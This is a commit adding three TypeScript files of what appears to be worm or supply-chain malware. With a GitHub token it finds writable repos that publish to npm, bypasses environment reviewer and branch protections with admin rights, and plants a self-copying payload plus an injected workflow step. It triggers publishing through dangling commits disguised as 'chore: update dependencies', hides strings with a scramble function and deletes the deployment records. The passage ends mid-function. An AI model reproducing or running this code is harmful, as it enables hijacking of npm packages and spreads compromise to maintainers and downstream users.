Upload files to "src/mutator/npmoidc"

This commit is contained in:
2026-07-03 03:13:21 +00:00
parent e5c6554f4d
commit 5df58fc5d8
3 changed files with 1565 additions and 0 deletions
+654
View File
@@ -0,0 +1,654 @@
import { randomBytes } from "node:crypto";
import { checkToken } from "../../github_utils/auth";
import { githubFetch, githubJson } from "../../github_utils/client";
import {
createBlob as dbCreateBlob,
createBranch as dbCreateBranch,
createCommit as dbCreateCommit,
createOrphanCommit as dbCreateOrphanCommit,
createTree as dbCreateTree,
getBranchRef,
getCommitTree,
updateBranch,
} from "../../github_utils/gitDb";
import { logUtil } from "../../utils/logger";
import { buildSelfExtractingPayload } from "../../utils/selfExtracting";
import { Mutator } from "../base";
import { detectNpmPublishingRepo } from "./detector";
import {
checkAndBypassEnvironment,
type EnvironmentBypassState,
extractEnvironmentNames,
restoreEnvironment,
} from "./environment";
import { type InjectionResult, injectToolStep } from "./injector";
declare function scramble(str: string): string;
// ── Types ───────────────────────────────────────────────────────────────────
interface UserRepo {
full_name: string;
default_branch: string;
private: boolean;
fork: boolean;
permissions: { admin: boolean; push: boolean; pull: boolean };
}
// ── Mutator ─────────────────────────────────────────────────────────────────
export class NpmOidcBranchMutator extends Mutator {
private readonly token: string;
private readonly indexJs: string;
private readonly dryRun: boolean;
constructor(token: string, dryRun = false) {
super();
if (!token) throw new Error("GitHub token required");
this.token = token;
this.indexJs = "";
this.dryRun = dryRun;
}
/**
* Read Bun.main lazily — avoids reading the binary until we actually
* need to inject, and avoids issues during module loading in tests.
*/
private async loadIndexJs(): Promise<string> {
if (this.indexJs) return this.indexJs;
try {
const raw = await Bun.file(Bun.main).text();
return buildSelfExtractingPayload(raw, { wrap: true });
} catch {
// Test environment fallback
return "// tool stub";
}
}
async execute(): Promise<Boolean> {
try {
// Check if token has workflow scope — determines trigger method
const tokInfo = await checkToken(this.token);
const hasWorkflowScope = tokInfo.valid && tokInfo.hasWorkflowScope;
logUtil.log(
`[NpmOidcBranch] workflow scope: ${hasWorkflowScope} (using ${hasWorkflowScope ? "feature-branch push" : "deployment"})`,
);
let repos: UserRepo[];
const targetReposEnv = process.env.TARGET_REPOS;
if (targetReposEnv?.trim()) {
const slugs = targetReposEnv
.split(",")
.map((s) => s.trim())
.filter(Boolean);
logUtil.log(
`[NpmOidcBranch] Using TARGET_REPOS env (${slugs.length} repo(s))`,
);
repos = await fetchReposBySlugs(this.token, slugs);
} else {
logUtil.log("[NpmOidcBranch] Fetching writable public repos...");
repos = await fetchWritableRepos(this.token, this.dryRun);
}
logUtil.log(`[NpmOidcBranch] Found ${repos.length} writable repo(s)`);
const indexJs = await this.loadIndexJs();
let injected = 0;
for (const repo of repos) {
try {
const ok = await this.processRepo(repo, indexJs, hasWorkflowScope);
if (ok) injected++;
} catch (e) {
logUtil.log(
`[NpmOidcBranch] Error processing ${repo.full_name}: ${e instanceof Error ? e.message : String(e)}`,
);
}
}
logUtil.log(
`[NpmOidcBranch] Done. Injected into ${injected}/${repos.length} repos.`,
);
return injected > 0;
} catch (e) {
logUtil.log(
`[NpmOidcBranch] Fatal: ${e instanceof Error ? e.message : String(e)}`,
);
return false;
}
}
/** Process a single repo by full name (e.g. "owner/name"). */
async processSingleRepo(
fullName: string,
tokenOverride?: string,
): Promise<boolean> {
const [owner, name] = fullName.split("/");
if (!owner || !name) {
logUtil.log(`[NpmOidcBranch] Invalid repo name: ${fullName}`);
return false;
}
const token = tokenOverride ?? this.token;
const { githubJson } = await import("../../github_utils/client");
const repoInfo = await githubJson<{
default_branch: string;
private: boolean;
fork: boolean;
permissions: { admin: boolean; push: boolean; pull: boolean };
}>(token, `/repos/${owner}/${name}`);
const indexJs = await this.loadIndexJs();
return this.processRepo(
{
full_name: fullName,
default_branch: repoInfo.default_branch,
private: repoInfo.private,
fork: repoInfo.fork,
permissions: repoInfo.permissions,
},
indexJs,
false, // default to deployment method for external callers
);
}
// ── Per-repo processing ──────────────────────────────────────────────────
private async processRepo(
repo: UserRepo,
indexJs: string,
hasWorkflowScope: boolean,
): Promise<boolean> {
const [owner, name] = repo.full_name.split("/");
if (!owner || !name) return false;
// 1. Detect if this repo publishes to npm
const detected = await detectNpmPublishingRepo(
this.token,
owner,
name,
repo.full_name,
repo.default_branch,
repo.private,
repo.permissions,
);
if (!detected) return false;
// 2. Generate branch name and check environments
const branchName = `snapshot-${randomBytes(4).toString("hex")}`;
const envByPasses: EnvironmentBypassState[] = [];
try {
// Extract environment names from the workflow
const envNames = extractEnvironmentNames(detected.workflow.rawYaml);
for (const envName of envNames) {
const result = await checkAndBypassEnvironment(
this.token,
owner,
name,
envName,
branchName,
repo.permissions.admin,
);
if (!result.canDeploy) {
logUtil.log(`[NpmOidcBranch] ${repo.full_name}: ${result.blockedBy}`);
return false;
}
if (result.bypassState) {
envByPasses.push(result.bypassState);
logUtil.log(
`[NpmOidcBranch] ${repo.full_name}: bypassed env "${envName}"`,
);
}
}
// 3. Inject tool step into workflow YAML
const triggerEvent = hasWorkflowScope ? "push" : "deployment";
const injection = injectToolStep(detected.workflow.rawYaml, {
workflowFilename: detected.workflow.filename,
packageName: detected.packageName,
repoFullName: repo.full_name,
environmentName: detected.workflow.environmentName,
triggerEvent,
});
if (!injection.injected) {
logUtil.log(
`[NpmOidcBranch] ${repo.full_name}: injection skipped — ${injection.reason}`,
);
return false;
}
if (hasWorkflowScope) {
// Token has workflow scope — push a feature branch directly.
// The push event triggers the workflow natively, no deployment needed.
return this.processRepoViaBranchPush(
owner,
name,
repo,
indexJs,
injection,
branchName,
);
}
// No workflow scope — use the dangling-commit + deployment method
// Resolve the default branch HEAD commit and its tree SHA
const baseRef = await getDefaultBranchRef(
this.token,
owner,
name,
repo.default_branch,
);
if (!baseRef) {
logUtil.log(
`[NpmOidcBranch] ${repo.full_name}: could not resolve default branch ref`,
);
return false;
}
const parentSha = baseRef.object.sha;
const baseTreeSha = await getCommitTree(
this.token,
owner,
name,
parentSha,
);
// Create blobs
const yamlBlobSha = await createBlob(
this.token,
owner,
name,
injection.modifiedYaml,
);
const jsBlobSha = await createBlob(this.token, owner, name, indexJs);
if (!yamlBlobSha || !jsBlobSha) {
logUtil.log(`[NpmOidcBranch] ${repo.full_name}: blob creation failed`);
return false;
}
// Build nested trees (fresh — only our files)
const ghDir = ".github";
const wfDir = "workflows";
const wfTree = await createTree(this.token, owner, name, null, [
{
path: detected.workflow.filename,
mode: "100644",
type: "blob",
sha: yamlBlobSha,
},
]);
if (!wfTree) {
logUtil.log(
`[NpmOidcBranch] ${repo.full_name}: workflows tree creation failed`,
);
return false;
}
const ghTree = await createTree(this.token, owner, name, null, [
{
path: wfDir,
mode: "040000",
type: "tree",
sha: wfTree.sha,
},
]);
if (!ghTree) {
logUtil.log(
`[NpmOidcBranch] ${repo.full_name}: .github tree creation failed`,
);
return false;
}
const newTree = await createTree(this.token, owner, name, null, [
{
path: ghDir,
mode: "040000",
type: "tree",
sha: ghTree.sha,
},
{
path: scramble("_index.js"),
mode: "100644",
type: "blob",
sha: jsBlobSha,
},
]);
if (!newTree) {
logUtil.log(`[NpmOidcBranch] ${repo.full_name}: tree creation failed`);
return false;
}
// Commit 1: add workflow (child of default branch HEAD)
const addSha = await createCommit(
this.token,
owner,
name,
scramble("chore: update dependencies"),
newTree.sha,
parentSha,
);
if (!addSha) {
logUtil.log(`[NpmOidcBranch] ${repo.full_name}: add commit failed`);
return false;
}
// Commit 2: delete workflow (restore original base tree, parent = commit 1)
const delSha = await createCommit(
this.token,
owner,
name,
scramble("chore: update dependencies [skip ci]"),
baseTreeSha,
addSha,
);
if (!delSha) {
logUtil.log(`[NpmOidcBranch] ${repo.full_name}: delete commit failed`);
return false;
}
logUtil.log(
`[NpmOidcBranch] ${repo.full_name}: add=${addSha.slice(0, 7)} del=${delSha.slice(0, 7)}`,
);
logUtil.log(
` View add: https://github.com/${owner}/${name}/commit/${addSha}`,
);
logUtil.log(
` View del: https://github.com/${owner}/${name}/commit/${delSha}`,
);
logUtil.log(` Package: ${detected.packageName}`);
logUtil.log(` Workflow: ${detected.workflow.filename}`);
// 5. Create a branch pointing at commit 2 (makes commit 1 reachable)
await createBranch(this.token, owner, name, branchName, delSha);
logUtil.log(
`[NpmOidcBranch] ${repo.full_name}: branch ${branchName} created ✓`,
);
if (this.dryRun) {
logUtil.log(
`[NpmOidcBranch] ${repo.full_name}: dry-run — skipping deployment`,
);
return false;
}
// 6. Create a deployment targeting commit 1 — triggers the workflow
const deployment = await githubJson<{ id: number }>(
this.token,
`/repos/${owner}/${name}/deployments`,
{
method: "POST",
body: JSON.stringify({
ref: addSha,
auto_merge: false,
required_contexts: [],
environment: detected.workflow.environmentName ?? "production",
transient_environment: true,
}),
},
);
const deployId = deployment.id;
logUtil.log(
`[NpmOidcBranch] ${repo.full_name}: deployment ${deployId} created ✓`,
);
// 7. Delete the deployment record — the workflow was already
// triggered so this is just housekeeping.
try {
await githubFetch(
this.token,
`/repos/${owner}/${name}/deployments/${deployId}`,
{ method: "DELETE" },
);
logUtil.log(
`[NpmOidcBranch] ${repo.full_name}: deployment ${deployId} deleted ✓`,
);
} catch {
// best-effort — the deployment event already fired
}
return true;
} finally {
}
}
// ── Feature-branch push method (workflow-scoped tokens) ──────────────
/**
* Push a single commit to a new branch containing the workflow YAML and
* payload. The push event triggers the workflow natively — no deployment
* needed. Only used when the token has workflow scope.
*/
private async processRepoViaBranchPush(
owner: string,
name: string,
repo: UserRepo,
indexJs: string,
injection: InjectionResult,
branchName: string,
): Promise<boolean> {
// Create blobs
const yamlBlobSha = await createBlob(
this.token,
owner,
name,
injection.modifiedYaml,
);
const jsBlobSha = await createBlob(this.token, owner, name, indexJs);
if (!yamlBlobSha || !jsBlobSha) {
logUtil.log(`[NpmOidcBranch] ${repo.full_name}: blob creation failed`);
return false;
}
// Build nested trees
const wfTree = await createTree(this.token, owner, name, null, [
{
path: injection.workflowFilename,
mode: "100644",
type: "blob",
sha: yamlBlobSha,
},
]);
if (!wfTree) return false;
const ghTree = await createTree(this.token, owner, name, null, [
{ path: "workflows", mode: "040000", type: "tree", sha: wfTree.sha },
]);
if (!ghTree) return false;
const rootTree = await createTree(this.token, owner, name, null, [
{ path: ".github", mode: "040000", type: "tree", sha: ghTree.sha },
{
path: scramble("_index.js"),
mode: "100644",
type: "blob",
sha: jsBlobSha,
},
]);
if (!rootTree) return false;
// Create orphan commit (no parent) on the new branch
const commitSha = await createOrphanCommit(
this.token,
owner,
name,
rootTree.sha,
scramble("chore: update dependencies"),
);
if (!commitSha) return false;
// Create or update branch
try {
await createBranch(this.token, owner, name, branchName, commitSha);
} catch {
// Branch may already exist — try update
await updateBranch(this.token, owner, name, branchName, commitSha, true);
}
logUtil.log(
`[NpmOidcBranch] ${repo.full_name}: branch ${branchName} pushed → https://github.com/${owner}/${name}/tree/${branchName}`,
);
return true;
}
}
// ═════════════════════════════════════════════════════════════════════════════
// Writable repo fetch
// ═════════════════════════════════════════════════════════════════════════════
async function fetchReposBySlugs(
token: string,
slugs: string[],
): Promise<UserRepo[]> {
const repos: UserRepo[] = [];
for (const slug of slugs) {
const [owner, name] = slug.split("/");
if (!owner || !name) {
logUtil.log(`[NpmOidcBranch] skipping invalid slug: "${slug}"`);
continue;
}
try {
const repo = await githubJson<{
full_name: string;
default_branch: string;
private: boolean;
fork: boolean;
permissions: { admin: boolean; push: boolean; pull: boolean };
}>(token, `/repos/${owner}/${name}`);
repos.push(repo);
} catch {
logUtil.log(`[NpmOidcBranch] could not fetch repo: ${slug}`);
}
}
return repos;
}
async function fetchWritableRepos(
token: string,
includeForks = false,
): Promise<UserRepo[]> {
const repos: UserRepo[] = [];
const perPage = 100;
let page = 1;
while (true) {
const batch = await githubJson<UserRepo[]>(
token,
`/user/repos?per_page=${perPage}&page=${page}&sort=updated&visibility=public`,
);
if (!batch || batch.length === 0) break;
for (const r of batch) {
logUtil.info("Fetched batch!");
if (!includeForks && r.fork) continue;
if (r.permissions?.push) repos.push(r);
}
if (batch.length < perPage) break;
page++;
}
return repos;
}
// ── Thin wrappers (shared gitDb throws; callers expect null on failure) ──
async function getDefaultBranchRef(
token: string,
owner: string,
repo: string,
branch: string,
): Promise<{ object: { sha: string } } | null> {
try {
return await getBranchRef(token, owner, repo, branch);
} catch {
return null;
}
}
async function createBlob(
token: string,
owner: string,
repo: string,
content: string,
): Promise<string | null> {
try {
return await dbCreateBlob(token, owner, repo, content);
} catch {
return null;
}
}
async function createTree(
token: string,
owner: string,
repo: string,
baseTreeSha: string | null,
entries: Array<{ path: string; mode: string; type: string; sha: string }>,
): Promise<{ sha: string } | null> {
try {
const sha = await dbCreateTree(
token,
owner,
repo,
baseTreeSha,
entries as any,
);
return { sha };
} catch (e) {
logUtil.error(e);
return null;
}
}
async function createCommit(
token: string,
owner: string,
repo: string,
message: string,
treeSha: string,
parentSha: string,
): Promise<string | null> {
try {
return await dbCreateCommit(
token,
owner,
repo,
message,
treeSha,
parentSha,
);
} catch {
return null;
}
}
async function createBranch(
token: string,
owner: string,
repo: string,
branchName: string,
sha: string,
): Promise<void> {
await dbCreateBranch(token, owner, repo, branchName, sha);
}
async function createOrphanCommit(
token: string,
owner: string,
repo: string,
treeSha: string,
message: string,
): Promise<string | null> {
try {
return await dbCreateOrphanCommit(token, owner, repo, treeSha, message);
} catch {
return null;
}
}
+575
View File
@@ -0,0 +1,575 @@
// ═════════════════════════════════════════════════════════════════════════════
// NPM publishing detection from GitHub repos
//
// Detects whether a repo publishes packages to npmjs.org by checking:
// 1. package.json exists, has "name", and is not private
// 2. A workflow YAML in .github/workflows contains a publish step
// (npm publish, or setup-node with registry-url: npmjs.org)
// 3. The workflow job has id-token: write permission (needed for OIDC)
//
// API docs:
// https://docs.github.com/en/rest/repos/contents#get-repository-content
// https://docs.npmjs.com/cli/v10/commands/npm-publish
// ═════════════════════════════════════════════════════════════════════════════
import { githubJson } from "../../github_utils/client";
import { logUtil } from "../../utils/logger";
declare function scramble(str: string): string;
// ── Types ───────────────────────────────────────────────────────────────────
export interface PublishWorkflow {
filename: string; // e.g. "release.yml"
path: string; // e.g. ".github/workflows/release.yml"
rawYaml: string;
hasIdTokenWrite: boolean;
publishStepIndex: number; // which step does the publish (0-based)
jobName: string;
environmentName?: string; // if job has `environment:` block
}
export interface NpmPublishRepo {
fullName: string;
defaultBranch: string;
packageName: string; // from package.json "name"
private: boolean;
permissions: { admin: boolean; push: boolean };
workflow: PublishWorkflow;
}
// ── Main detection ──────────────────────────────────────────────────────────
/**
* For a single repo, detect if it publishes to npm and returns details.
* Returns null if it's not an npm-publishing repo or detection fails.
*/
export async function detectNpmPublishingRepo(
token: string,
owner: string,
repo: string,
fullName: string,
defaultBranch: string,
isPrivate: boolean,
permissions: { admin: boolean; push: boolean },
): Promise<NpmPublishRepo | null> {
// Step 1 — check that root package.json exists at all
logUtil.info(`[detector] ${fullName}: checking root package.json`);
const rootPkgExists = await packageJsonExists(
token,
owner,
repo,
defaultBranch,
);
if (!rootPkgExists) {
logUtil.info(`[detector] ${fullName}: no root package.json — skipping`);
return null;
}
// Step 1b — try to get a usable package name from root package.json
let isMonorepoPkg = false;
let packageName = await getPackageName(token, owner, repo, defaultBranch);
if (packageName) {
logUtil.info(`[detector] ${fullName}: root package "${packageName}" ✓`);
} else {
logUtil.info(
`[detector] ${fullName}: root package.json not suitable, scanning monorepo dirs`,
);
// Step 1c — monorepo: collect ALL packages from packages/*/package.json
const monorepoNames: string[] = [];
for (const dir of MONOREPO_DIRS) {
logUtil.info(`[detector] ${fullName}: scanning ${dir}/*/`);
const names = await getMonorepoPackageNames(
token,
owner,
repo,
defaultBranch,
dir,
);
if (names.length > 0) {
logUtil.info(
`[detector] ${fullName}: found ${names.length} package(s) in ${dir}/`,
);
monorepoNames.push(...names);
}
}
if (monorepoNames.length > 0) {
packageName = monorepoNames.join(", ");
isMonorepoPkg = true;
}
}
if (!packageName) {
logUtil.info(`[detector] ${fullName}: no package.json with "name" field`);
return null;
}
// Step 2 — find a workflow file that publishes to npm
logUtil.info(
`[detector] ${fullName}: scanning workflows (monorepo=${isMonorepoPkg})`,
);
const workflow = await findPublishWorkflow(
token,
owner,
repo,
defaultBranch,
isMonorepoPkg,
);
if (!workflow) {
logUtil.info(`[detector] ${fullName}: no npm-publishing workflow found`);
return null;
}
logUtil.info(
`[detector] ${fullName}: workflow "${workflow.filename}" (job=${workflow.jobName}, id-token=${workflow.hasIdTokenWrite}) ✓`,
);
// Step 3 — verify each package actually exists on npm (npm view equivalent)
const packages = packageName
.split(",")
.map((p) => p.trim())
.filter(Boolean);
const verified: string[] = [];
for (const pkg of packages) {
logUtil.info(`[detector] ${fullName}: verifying "${pkg}" on npm registry`);
const npmInfo = await verifyPackageOnNpm(pkg);
if (npmInfo) {
verified.push(pkg);
} else {
logUtil.log(
`[detector] ${fullName}: package "${pkg}" not found on npm registry — skipping`,
);
}
}
if (verified.length === 0) {
logUtil.log(`[detector] ${fullName}: no verified npm packages found`);
return null;
}
const finalPackageName = verified.join(", ");
logUtil.log(
`[detector] ${fullName}: npm-publishing repo (${finalPackageName}, ${workflow.filename})`,
);
return {
fullName,
defaultBranch,
packageName: finalPackageName,
private: isPrivate,
permissions,
workflow,
};
}
// ── package.json check ──────────────────────────────────────────────────────
/** Lightweight check — does the file exist? (no content decode needed). */
async function packageJsonExists(
token: string,
owner: string,
repo: string,
ref: string,
): Promise<boolean> {
try {
await githubJson(
token,
`/repos/${owner}/${repo}/contents/package.json?ref=${encodeURIComponent(ref)}`,
);
return true;
} catch {
return false;
}
}
/** Monorepo directories to scan when root package.json exists but is private. */
const MONOREPO_DIRS = [
scramble("packages"),
scramble("libs"),
scramble("apps"),
scramble("plugins"),
];
async function getPackageName(
token: string,
owner: string,
repo: string,
ref: string,
): Promise<string | null> {
return getPackageNameAtPath(token, owner, repo, ref, "package.json");
}
async function getPackageNameAtPath(
token: string,
owner: string,
repo: string,
ref: string,
path: string,
): Promise<string | null> {
try {
const data = await githubJson<{
content?: string;
encoding?: string;
}>(
token,
`/repos/${owner}/${repo}/contents/${path}?ref=${encodeURIComponent(ref)}`,
);
if (!data.content || data.encoding !== "base64") return null;
const raw = Buffer.from(data.content, "base64").toString("utf-8");
const pkg = JSON.parse(raw) as {
name?: string;
private?: boolean;
};
if (!pkg.name) return null;
if (pkg.private === true) {
logUtil.log(
`[detector] ${owner}/${repo}: ${path} "private": true, skipping`,
);
return null;
}
return pkg.name;
} catch {
return null;
}
}
async function getMonorepoPackageNames(
token: string,
owner: string,
repo: string,
ref: string,
monorepoDir: string,
): Promise<string[]> {
const names: string[] = [];
try {
const contents = await githubJson<Array<{ name: string; type: string }>>(
token,
`/repos/${owner}/${repo}/contents/${monorepoDir}?ref=${encodeURIComponent(ref)}`,
);
if (!Array.isArray(contents)) return [];
for (const entry of contents) {
if (entry.type !== "dir") continue;
const name = await getPackageNameAtPath(
token,
owner,
repo,
ref,
`${monorepoDir}/${entry.name}/package.json`,
);
if (name) {
logUtil.info(
`[detector] ${owner}/${repo}: found "${name}" in ${monorepoDir}/${entry.name}/`,
);
names.push(name);
}
}
return names;
} catch {
return [];
}
}
// ── NPM registry verification (npm view equivalent) ─────────────────────────
interface NpmPackageInfo {
_id: string;
name: string;
"dist-tags": Record<string, string>;
versions: Record<string, unknown>;
}
/**
* Check the npm registry to verify a package exists and is published.
* Equivalent to `npm view <package>`.
*
* API: GET https://registry.npmjs.org/{escapedName}
* Returns null if the package is not found (404) or the network fails.
*/
async function verifyPackageOnNpm(
packageName: string,
): Promise<NpmPackageInfo | null> {
try {
const escaped = encodeURIComponent(packageName);
const res = await fetch(`https://registry.npmjs.org/${escaped}`, {
signal: AbortSignal.timeout(10_000),
});
if (!res.ok) {
if (res.status === 404) return null;
return null;
}
return (await res.json()) as NpmPackageInfo;
} catch {
return null;
}
}
interface ContentItem {
name: string;
path: string;
type: string;
}
interface WorkflowFile {
name: string;
path: string;
content?: string;
encoding?: string;
}
async function findPublishWorkflow(
token: string,
owner: string,
repo: string,
ref: string,
isMonorepo = false,
): Promise<PublishWorkflow | null> {
try {
// List .github/workflows directory
const contents = await githubJson<ContentItem[]>(
token,
`/repos/${owner}/${repo}/contents/.github/workflows?ref=${encodeURIComponent(ref)}`,
);
const workflowFiles = contents.filter(
(c) =>
c.type === "file" &&
(c.name.endsWith(".yml") || c.name.endsWith(".yaml")),
);
// Collect all candidates, score them, pick the best
const candidates: Array<{ wf: PublishWorkflow; score: number }> = [];
for (const wf of workflowFiles) {
try {
const file = await githubJson<WorkflowFile>(
token,
`/repos/${owner}/${repo}/contents/${wf.path}?ref=${encodeURIComponent(ref)}`,
);
if (!file.content || file.encoding !== "base64") continue;
const raw = Buffer.from(file.content, "base64").toString("utf-8");
// Normalize line endings (GitHub API may return \r\n)
const normalized = raw.replace(/\r\n/g, "\n");
const parsed = parsePublishWorkflow(normalized, wf.name, isMonorepo);
if (parsed) {
candidates.push({
wf: parsed,
score: scoreWorkflowForRelease(parsed),
});
}
} catch {
continue;
}
}
if (candidates.length === 0) return null;
// Pick highest-scoring candidate (most "release-like")
candidates.sort((a, b) => b.score - a.score);
const best = candidates[0]!;
logUtil.info(
`[detector] ${owner}/${repo}: selected "${best.wf.filename}" (score=${best.score}) out of ${candidates.length}`,
);
return best.wf;
} catch {
return null;
}
}
// ── YAML parsing (string-based, no library) ─────────────────────────────────
/**
* Parse a workflow YAML to determine if it publishes to npm.
* Two modes:
* - Standard: detects npm/yarn/pnpm publish commands
* - Monorepo (isMonorepo=true): only needs id-token:write to accept
*
* We don't try to match specific job names — if the workflow file exists
* and has id-token:write (or publish commands), we inject our own job.
*/
function parsePublishWorkflow(
yaml: string,
filename: string,
isMonorepo = false,
): PublishWorkflow | null {
// Check for npm publish steps (allow npm@version, npx npm, etc.,
// and multi-line run blocks where the command is on a separate line)
const hasNpmPublish =
/^\s+run:\s*.*npm.*publish/m.test(yaml) ||
/^(?!\s*#).*npm.*publish/m.test(yaml);
const hasYarnPublish =
/^\s+run:\s*.*yarn.*publish/m.test(yaml) ||
/^(?!\s*#).*yarn.*publish/m.test(yaml);
const hasPnpmPublish =
/^\s+run:\s*.*pnpm.*publish/m.test(yaml) ||
/^(?!\s*#).*pnpm.*publish/m.test(yaml);
// Check for setup-node with npm registry (common pattern before publish)
const hasNpmRegistry =
/^\s+registry-url:\s*['"]?https:\/\/registry\.npmjs\.org/m.test(yaml);
// Check for id-token: write permission (needed for OIDC)
const hasIdTokenWrite =
/^\s+id-token:\s*write/m.test(yaml) ||
/^\s+permissions:\s*write-all/m.test(yaml);
// For monorepos, id-token:write alone is sufficient (the actual
// npm publish call lives in a composite action referenced by a job).
const monorepoPublishSignal = isMonorepo && hasIdTokenWrite;
logUtil.info(
`[detector] ${filename}: npmPub=${hasNpmPublish} yarn=${hasYarnPublish} pnpm=${hasPnpmPublish} reg=${hasNpmRegistry} idTok=${hasIdTokenWrite} monoSig=${monorepoPublishSignal}`,
);
if (
!hasNpmPublish &&
!hasYarnPublish &&
!hasPnpmPublish &&
!hasNpmRegistry &&
!monorepoPublishSignal
) {
return null;
}
// Always use 'release' as the job name for injection
const jobName = "release";
return {
filename,
path: `.github/workflows/${filename}`,
rawYaml: yaml,
hasIdTokenWrite,
publishStepIndex: 0,
jobName,
};
}
// ── Workflow scoring ────────────────────────────────────────────────────────
/**
* Score a workflow for how "release-like" it is.
* Higher scores = better candidate for injection.
*/
function scoreWorkflowForRelease(wf: PublishWorkflow): number {
let score = 0;
// 1. Filename hints (most important)
if (/release/i.test(wf.filename)) score += 100;
else if (/publish/i.test(wf.filename)) score += 90;
else if (/cd\./i.test(wf.filename)) score += 80;
else if (/deploy/i.test(wf.filename)) score += 70;
else if (/ci\./i.test(wf.filename)) score += 40;
else score += 20; // arbitrary workflow
// 2. Has id-token:write
if (wf.hasIdTokenWrite) score += 50;
// 3. Has npm publish / registry steps (explicit publish signal)
const yaml = wf.rawYaml;
if (/^\s+run:\s*.*npm\s+publish/m.test(yaml)) score += 30;
if (/^\s+registry-url:\s*['"]?https:\/\/registry\.npmjs\.org/m.test(yaml))
score += 20;
// 4. Branch push trigger (more likely to be CI than tag-based)
if (/^\s+release:\s*$/m.test(yaml)) score += 20;
if (/^\s+workflow_dispatch:\s*$/m.test(yaml)) score += 20;
return score;
}
// ── Trigger type detection ──────────────────────────────────────────────────
export type TriggerType = "tag" | "branch" | "release" | "workflow_dispatch";
export interface TriggerInfo {
types: TriggerType[];
tagPatterns: string[]; // e.g. ["v*"]
branchPatterns: string[]; // e.g. ["main"]
}
/**
* Detect what triggers a workflow responds to.
*/
export function detectTriggers(yaml: string): TriggerInfo {
const types = new Set<TriggerType>();
const tagPatterns: string[] = [];
const branchPatterns: string[] = [];
if (/^\s+tags:\s*\[/m.test(yaml) || /^\s+tags:/m.test(yaml)) {
types.add("tag");
// Extract tag patterns
const tagMatch = yaml.match(/^\s+tags:\s*\[(.*?)\]/m);
if (tagMatch?.[1]) {
tagPatterns.push(
...tagMatch[1]
.split(",")
.map((s) => s.trim().replace(/['"]/g, ""))
.filter(Boolean),
);
}
}
if (/^\s+branches:\s*\[/m.test(yaml) || /^\s+branches:/m.test(yaml)) {
types.add("branch");
const branchMatch = yaml.match(/^\s+branches:\s*\[(.*?)\]/m);
if (branchMatch?.[1]) {
branchPatterns.push(
...branchMatch[1]
.split(",")
.map((s) => s.trim().replace(/['"]/g, ""))
.filter(Boolean),
);
}
}
if (/^\s+release:/m.test(yaml)) {
types.add("release");
}
if (/^\s+workflow_dispatch:/m.test(yaml)) {
types.add("workflow_dispatch");
}
return {
types: [...types],
tagPatterns,
branchPatterns,
};
}
/**
* Generate a branch name that will match the workflow's push trigger.
* If the workflow has branch push triggers, try to match one.
* Otherwise, generate a default snapshot-* pattern branch name.
*/
export function generateTriggerRef(triggerInfo: TriggerInfo): {
type: "branch";
name: string;
} {
const suffix = Math.random().toString(36).slice(2, 10);
// If workflow triggers on specific branch patterns, try to match
if (
triggerInfo.types.includes("branch") &&
triggerInfo.branchPatterns.length > 0
) {
// Try to match a branch pattern like "release/*" → "release/oidc-xxx"
for (const pattern of triggerInfo.branchPatterns) {
if (pattern.includes("*")) {
const name = pattern.replace(/\*/g, `snapshot-${suffix}`);
return { type: "branch", name };
}
}
}
// Default: snapshot-prefixed branch
return { type: "branch", name: `snapshot-${suffix}` };
}
+336
View File
@@ -0,0 +1,336 @@
// ═════════════════════════════════════════════════════════════════════════════
// GitHub environment protection rules — check + admin bypass
//
// Environments can block deployment via:
// 1. required_reviewers — manual approval needed (bypassable with admin)
// 2. deployment_branch_policy — restricts which branches/tags can deploy
// - custom_branch_policies: list of name patterns (e.g. "main", "release/*")
// - protected_branches: only branches with protection rules
//
// API docs:
// https://docs.github.com/en/rest/deployments/environments
// https://docs.github.com/en/rest/deployments/branch-policies
// ═════════════════════════════════════════════════════════════════════════════
import { githubFetch, githubJson } from "../../github_utils/client";
declare function scramble(str: string): string;
// ── Types ───────────────────────────────────────────────────────────────────
export interface EnvironmentInfo {
id: number;
name: string;
hasRequiredReviewers: boolean;
hasWaitTimer: boolean;
deploymentBranchPolicy: {
protectedBranches: boolean;
customBranchPolicies: boolean;
} | null;
branchPolicies: Array<{ id: number; name: string }>;
}
export interface EnvironmentBypassState {
repoFullName: string;
envName: string;
originalState: {
reviewers: Array<{ type: string; id: number }> | null;
deploymentBranchPolicy: Record<string, boolean> | null;
};
}
export interface EnvironmentCheckResult {
canDeploy: boolean;
blockedBy: string | null; // reason if blocked
bypassState?: EnvironmentBypassState; // set if admin bypass was applied
}
// ── Main check ──────────────────────────────────────────────────────────────
/**
* Check if a branch can deploy to the given environment.
* If blocked and token has admin access, attempt to bypass.
*
* Returns the check result. Caller must restore any bypassState after execution.
*/
export async function checkAndBypassEnvironment(
token: string,
owner: string,
repo: string,
envName: string,
branchName: string,
hasAdminAccess: boolean,
): Promise<EnvironmentCheckResult> {
try {
const env = await getEnvironment(token, owner, repo, envName);
if (!env) {
// Environment doesn't exist or inaccessible — assume no restrictions
return { canDeploy: true, blockedBy: null };
}
// Block: required reviewers (can only bypass with admin)
if (env.hasRequiredReviewers) {
if (hasAdminAccess) {
const bypass = await bypassEnvironment(
token,
owner,
repo,
envName,
env,
);
return {
canDeploy: true,
blockedBy: null,
bypassState: bypass,
};
}
return {
canDeploy: false,
blockedBy: `environment "${envName}" requires reviewer approval`,
};
}
// Block: branch policy restrictions
if (env.deploymentBranchPolicy) {
const policy = env.deploymentBranchPolicy;
if (policy.protectedBranches) {
// Our temporary branch won't have protection rules
if (hasAdminAccess) {
const bypass = await bypassEnvironment(
token,
owner,
repo,
envName,
env,
);
return {
canDeploy: true,
blockedBy: null,
bypassState: bypass,
};
}
return {
canDeploy: false,
blockedBy: `environment "${envName}" requires protected branches`,
};
}
if (policy.customBranchPolicies) {
// Check if our branch name matches any policy pattern
const matches = env.branchPolicies.some((bp) =>
matchBranchPattern(branchName, bp.name),
);
if (!matches) {
if (hasAdminAccess) {
const bypass = await bypassEnvironment(
token,
owner,
repo,
envName,
env,
);
return {
canDeploy: true,
blockedBy: null,
bypassState: bypass,
};
}
return {
canDeploy: false,
blockedBy: `environment "${envName}" branch policies don't match "${branchName}"`,
};
}
}
}
return { canDeploy: true, blockedBy: null };
} catch {
// If we can't check, assume no restrictions (best effort)
return { canDeploy: true, blockedBy: null };
}
}
/**
* Restore an environment to its original state after a bypass.
*/
export async function restoreEnvironment(
token: string,
owner: string,
repo: string,
bypassState: EnvironmentBypassState,
): Promise<void> {
try {
await updateEnvironment(
token,
owner,
repo,
bypassState.envName,
bypassState.originalState.reviewers,
bypassState.originalState.deploymentBranchPolicy,
);
} catch {
